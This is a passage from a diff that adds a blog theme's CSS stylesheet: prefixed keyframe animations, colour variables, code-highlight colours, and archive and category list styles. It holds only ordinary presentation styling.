alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-o-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-moz-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-webkit-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-o-keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@keyframes search_close { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-moz-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-webkit-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-o-keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@keyframes to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-moz-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-webkit-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-o-keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@keyframes to_hide { + 0% { + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } +} +@-moz-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-webkit-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-o-keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@keyframes ribbon_to_show { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-moz-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-webkit-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-o-keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes avatar_turn_around { + from { + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); + } + to { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@-moz-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes sub_menus { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(10px); + -moz-transform: translateY(10px); + -o-transform: translateY(10px); + -ms-transform: translateY(10px); + transform: translateY(10px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes donate_effcet { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-20px); + -moz-transform: translateY(-20px); + -o-transform: translateY(-20px); + -ms-transform: translateY(-20px); + transform: translateY(-20px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@-webkit-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@-o-keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +@keyframes sidebarItem { + 0% { + -webkit-transform: translateX(200px); + -moz-transform: translateX(200px); + -o-transform: translateX(200px); + -ms-transform: translateX(200px); + transform: translateX(200px); + } + 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } +} +:root { + --global-font-size: 14px; + --global-bg: #fff; + --font-color: #4c4948; + --hr-border: #c7c6ec; + --hr-before-color: #b0aee4; + --search-bg: #f6f8fa; + --search-input-color: #4c4948; + --search-result-title: #4c4948; + --preloader-bg: #37474f; + --preloader-color: #fff; + --tab-border-color: #f0f0f0; + --tab-botton-bg: #f0f0f0; + --tab-botton-color: #1f2d3d; + --tab-button-hover-bg: #dcdcdc; + --tab-button-active-bg: #fff; + --card-bg: #fff; + --sidebar-bg: #f6f8fa; + --btn-hover-color: #f85536; + --btn-color: #fff; + --btn-bg: #8e8cd8; + --text-bg-hover: rgba(142,140,216,0.7); + --light-grey: #eee; + --dark-grey: #cacaca; + --white: #fff; + --text-highlight-color: #1f2d3d; + --blockquote-color: #6a737d; + --blockquote-bg: rgba(142,140,216,0.1); + --reward-pop: #f5f5f5; + --toc-link-color: #666261; + --card-box-shadow: 0 3px 8px 6px rgba(7,17,27,0.05); + --card-hover-box-shadow: 0 3px 8px 6px rgba(7,17,27,0.09); + --pseudo-hover: #f85536; + --headline-presudo: #a0a0a0; + --scrollbar-color: #8e8cd8; +} +body { + position: relative; + min-height: 100%; + background: var(--global-bg); + color: var(--font-color); + font-size: var(--global-font-size); + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Helvetica Neue', Lato, Roboto, 'PingFang SC', 'Microsoft YaHei', sans-serif; + line-height: 2; + -webkit-tap-highlight-color: rgba(0,0,0,0); +} +*::-webkit-scrollbar { + width: 8px; + height: 8px; +} +*::-webkit-scrollbar-thumb { + background: var(--scrollbar-color); +} +*::-webkit-scrollbar-track { + background-color: transparent; +} +* { + scrollbar-width: thin; + scrollbar-color: var(--scrollbar-color) transparent; +} +input::placeholder { + color: var(--font-color); +} +h1, +h2, +h3, +h4, +h5, +h6 { + position: relative; + margin: 20px 0 14px; + color: var(--text-highlight-color); + font-weight: bold; +} +h1 code, +h2 code, +h3 code, +h4 code, +h5 code, +h6 code { + font-size: inherit !important; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +hr { + position: relative; + margin: 40px auto; + border: 2px dashed var(--hr-border); + width: calc(100% - 4px); +} +hr:hover:before { + left: calc(95% - 20px); +} +hr:before { + position: absolute; + top: -10px; + left: 5%; + z-index: 1; + color: var(--hr-before-color); + content: '\f0c4'; + font-size: 20px; + line-height: 1; + -webkit-transition: all 1s ease-in-out; + -moz-transition: all 1s ease-in-out; + -o-transition: all 1s ease-in-out; + -ms-transition: all 1s ease-in-out; + transition: all 1s ease-in-out; +} +.table-wrap { + overflow-x: scroll; + margin: 0 0 20px; +} +table { + display: table; + width: 100%; + border-spacing: 0; + border-collapse: collapse; + empty-cells: show; +} +table thead { + background: rgba(153,169,191,0.1); +} +table th, +table td { + padding: 6px 12px; + border: 1px solid var(--light-grey); + vertical-align: middle; +} +*::selection { + background: #8e8cd8; + color: #f7f7f7; +} +button { + padding: 0; + outline: 0; + border: none; + background: none; + cursor: pointer; + touch-action: manipulation; +} +a { + color: #99a9bf; + text-decoration: none; + word-wrap: break-word; + -webkit-transition: all 0.2s; + -moz-transition: all 0.2s; + -o-transition: all 0.2s; + -ms-transition: all 0.2s; + transition: all 0.2s; + overflow-wrap: break-word; +} +a:hover { + color: #8e8cd8; +} +#site-title, +#site-subtitle, +#site-name, +#aside-content .author-info__name, +#aside-content .author-info__description { + font-family: MiSans,MiSans; +} +.is-center { + text-align: center; +} +.copy-true { + -webkit-user-select: all; + -moz-user-select: all; + -ms-user-select: all; + user-select: all; +} +.pull-left { + float: left; +} +.pull-right { + float: right; +} +img[src=''], +img:not([src]) { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +.img-alt { + margin: -10px 0 10px; + color: #858585; +} +.img-alt:hover { + text-decoration: none !important; +} +blockquote { + margin: 0 0 20px; + padding: 12px 15px; + border-left: 3px solid #8e8cd8; + background-color: var(--blockquote-bg); + color: var(--blockquote-color); +} +blockquote footer cite:before { + padding: 0 5px; + content: '—'; +} +blockquote > :last-child { + margin-bottom: 0 !important; +} +:root { + --hl-color: #eff; + --hl-bg: #212121; + --hltools-bg: #1c1c1c; + --hltools-color: rgba(238,255,255,0.8); + --hlnumber-bg: #212121; + --hlnumber-color: rgba(238,255,255,0.5); + --hlscrollbar-bg: #353535; + --hlexpand-bg: linear-gradient(180deg, rgba(33,33,33,0.6), rgba(33,33,33,0.9)); +} +figure.highlight table { + scrollbar-color: var(--hlscrollbar-bg) transparent; +} +figure.highlight table::-webkit-scrollbar-thumb { + background: var(--hlscrollbar-bg); +} +figure.highlight pre .deletion { + color: #bf42bf; +} +figure.highlight pre .addition { + color: #105ede; +} +figure.highlight pre .meta { + color: #c792ea; +} +figure.highlight pre .comment { + color: #969896; +} +figure.highlight pre .variable, +figure.highlight pre .attribute, +figure.highlight pre .regexp, +figure.highlight pre .ruby .constant, +figure.highlight pre .xml .tag .title, +figure.highlight pre .xml .pi, +figure.highlight pre .xml .doctype, +figure.highlight pre .html .doctype, +figure.highlight pre .css .id, +figure.highlight pre .tag .name, +figure.highlight pre .css .class, +figure.highlight pre .css .pseudo { + color: #ff5370; +} +figure.highlight pre .tag { + color: #89ddff; +} +figure.highlight pre .number, +figure.highlight pre .preprocessor, +figure.highlight pre .literal, +figure.highlight pre .params, +figure.highlight pre .constant, +figure.highlight pre .command { + color: #f78c6c; +} +figure.highlight pre .built_in { + color: #ffcb6b; +} +figure.highlight pre .ruby .class .title, +figure.highlight pre .css .rules .attribute, +figure.highlight pre .string, +figure.highlight pre .value, +figure.highlight pre .inheritance, +figure.highlight pre .header, +figure.highlight pre .ruby .symbol, +figure.highlight pre .xml .cdata, +figure.highlight pre .special, +figure.highlight pre .number, +figure.highlight pre .formula { + color: #c3e88d; +} +figure.highlight pre .keyword, +figure.highlight pre .title, +figure.highlight pre .css .hexcolor { + color: #89ddff; +} +figure.highlight pre .function, +figure.highlight pre .python .decorator, +figure.highlight pre .python .title, +figure.highlight pre .ruby .function .title, +figure.highlight pre .ruby .title .keyword, +figure.highlight pre .perl .sub, +figure.highlight pre .javascript .title, +figure.highlight pre .coffeescript .title { + color: #82aaff; +} +figure.highlight pre .tag .attr, +figure.highlight pre .javascript .function { + color: #c792ea; +} +#article-container figure.highlight .line.marked { + background-color: rgba(97,97,97,0.314); +} +#article-container figure.highlight table { + display: block; + overflow: auto; + border: none; +} +#article-container figure.highlight table td { + padding: 0; + border: none; +} +#article-container figure.highlight .gutter pre { + padding-right: 10px; + padding-left: 10px; + background-color: var(--hlnumber-bg); + color: var(--hlnumber-color); + text-align: right; +} +#article-container figure.highlight .code pre { + padding-right: 10px; + padding-left: 10px; + width: 100%; +} +#article-container pre, +#article-container figure.highlight { + overflow: auto; + margin: 0 0 20px; + padding: 0; + background: var(--hl-bg); + color: var(--hl-color); + line-height: 1.6; +} +#article-container pre, +#article-container code { + font-size: var(--global-font-size); + font-family: consolas, Menlo, 'PingFang SC', 'Microsoft YaHei', sans-serif !important; +} +#article-container code { + padding: 2px 4px; + background: rgba(27,31,35,0.05); + color: #f47466; +} +#article-container pre { + padding: 10px 20px; +} +#article-container pre code { + padding: 0; + background: none; + color: var(--hl-color); + text-shadow: none; +} +#article-container figure.highlight { + position: relative; +} +#article-container figure.highlight pre { + margin: 0; + padding: 8px 0; + border: none; +} +#article-container figure.highlight figcaption, +#article-container figure.highlight .caption { + padding: 6px 0 2px 14px; + font-size: var(--global-font-size); + line-height: 1em; +} +#article-container figure.highlight figcaption a, +#article-container figure.highlight .caption a { + float: right; + padding-right: 10px; + color: var(--hl-color); +} +#article-container figure.highlight figcaption a:hover, +#article-container figure.highlight .caption a:hover { + border-bottom-color: var(--hl-color); +} +#article-container .highlight-tools { + position: relative; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + overflow: hidden; + min-height: 24px; + height: 2.15em; + background: var(--hltools-bg); + color: var(--hltools-color); + font-size: var(--global-font-size); +} +#article-container .highlight-tools.closed ~ * { + display: none; +} +#article-container .highlight-tools .expand { + position: absolute; + padding: 0.57em 0.7em; + cursor: pointer; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#article-container .highlight-tools .expand + .code-lang { + left: 1.7em; +} +#article-container .highlight-tools .expand.closed { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-transform: rotate(-90deg) !important; + -moz-transform: rotate(-90deg) !important; + -o-transform: rotate(-90deg) !important; + -ms-transform: rotate(-90deg) !important; + transform: rotate(-90deg) !important; +} +#article-container .highlight-tools .code-lang { + position: absolute; + left: 14px; + text-transform: uppercase; + font-weight: bold; + font-size: 1.15em; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +#article-container .highlight-tools .copy-notice { + position: absolute; + right: 2.4em; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: opacity 0.4s; + -moz-transition: opacity 0.4s; + -o-transition: opacity 0.4s; + -ms-transition: opacity 0.4s; + transition: opacity 0.4s; +} +#article-container .highlight-tools .copy-button { + position: absolute; + right: 14px; + cursor: pointer; + -webkit-transition: color 0.2s; + -moz-transition: color 0.2s; + -o-transition: color 0.2s; + -ms-transition: color 0.2s; + transition: color 0.2s; +} +#article-container .highlight-tools .copy-button:hover { + color: #8e8cd8; +} +#article-container .gutter { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +#article-container .gist table { + width: auto; +} +#article-container .gist table td { + border: none; +} +#article-container figure.highlight { + margin: 0 0 24px; + border-radius: 7px; + -webkit-box-shadow: 0 5px 10px 0 rgba(0,0,0,0.4); + box-shadow: 0 5px 10px 0 rgba(0,0,0,0.4); + -webkit-transform: translateZ(0); +} +#article-container figure.highlight .highlight-tools:after { + position: absolute; + left: 14px; + width: 12px; + height: 12px; + border-radius: 50%; + background: #fc625d; + -webkit-box-shadow: 20px 0 #fdbc40, 40px 0 #35cd4b; + box-shadow: 20px 0 #fdbc40, 40px 0 #35cd4b; + content: ' '; +} +#article-container figure.highlight .highlight-tools .expand { + right: 0; +} +#article-container figure.highlight .highlight-tools .expand.closed { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-transform: rotate(90deg) !important; + -moz-transform: rotate(90deg) !important; + -o-transform: rotate(90deg) !important; + -ms-transform: rotate(90deg) !important; + transform: rotate(90deg) !important; +} +#article-container figure.highlight .highlight-tools .expand ~ .copy-notice { + right: 3.45em; +} +#article-container figure.highlight .highlight-tools .expand ~ .copy-button { + right: 2.1em; +} +#article-container figure.highlight .highlight-tools .code-lang { + left: 75px; +} +@-moz-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-webkit-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-o-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +.article-sort { + margin-left: 10px; + padding-left: 20px; + border-left: 2px solid #d9d8f2; +} +.article-sort-title { + position: relative; + margin-left: 10px; + padding-bottom: 20px; + padding-left: 20px; + font-size: 1.72em; +} +.article-sort-title:hover:before { + border-color: var(--pseudo-hover); +} +.article-sort-title:before { + position: absolute; + top: calc(((100% - 36px) / 2)); + left: -9px; + z-index: 1; + width: 10px; + height: 10px; + border: 5px solid #8e8cd8; + border-radius: 10px; + background: var(--card-bg); + content: ''; + line-height: 10px; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-title:after { + position: absolute; + bottom: 0; + left: 0; + z-index: 0; + width: 2px; + height: 1.5em; + background: #d9d8f2; + content: ''; +} +.article-sort-item { + position: relative; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + margin: 0 0 20px 10px; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-item:hover:before { + border-color: var(--pseudo-hover); +} +.article-sort-item:before { + position: absolute; + left: calc(-20px - 17px); + width: 6px; + height: 6px; + border: 3px solid #8e8cd8; + border-radius: 6px; + background: var(--card-bg); + content: ''; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-item.no-article-cover { + height: 80px; +} +.article-sort-item.no-article-cover .article-sort-item-info { + padding: 0; +} +.article-sort-item.year { + font-size: 1.43em; +} +.article-sort-item.year:hover:before { + border-color: #8e8cd8; +} +.article-sort-item.year:before { + border-color: var(--pseudo-hover); +} +.article-sort-item-time { + color: #858585; + font-size: 95%; +} +.article-sort-item-time time { + padding-left: 6px; + cursor: default; +} +.article-sort-item-title { + color: var(--font-color); + font-size: 1.1em; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-line-clamp: 2; +} +.article-sort-item-title:hover { + color: #8e8cd8; + -webkit-transform: translateX(10px); + -moz-transform: translateX(10px); + -o-transform: translateX(10px); + -ms-transform: translateX(10px); + transform: translateX(10px); +} +.article-sort-item-img { + overflow: hidden; + width: 80px; + height: 80px; +} +.article-sort-item-info { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding: 0 16px; +} +.category-lists .category-title { + font-size: 2.57em; +} +@media screen and (max-width: 768px) { + .category-lists .category-title { + font-size: 2em; + } +} +.category-lists .category-list { + margin-bottom: 0; +} +.category-lists .category-list a { + color: var(--font-color); +} +.category-lists .category-list a:hover { + color: #8e8cd8; +} +.category-lists .category-list .category-list-count { + margin-left: 8px; + color: #858585; +} +.category-lists .category-list .category-list-count:before { + content: '('; +} +.category-lists .category-list .category-list-count:after { + content: ')'; +} +.category-lists ul { + padding: 0 0 0 20px; +} +.category-lists ul ul { + padding-left: 4px; +} +.category-lists ul li { + position: relative; + margin: 6px 0; + padding: 0.12em 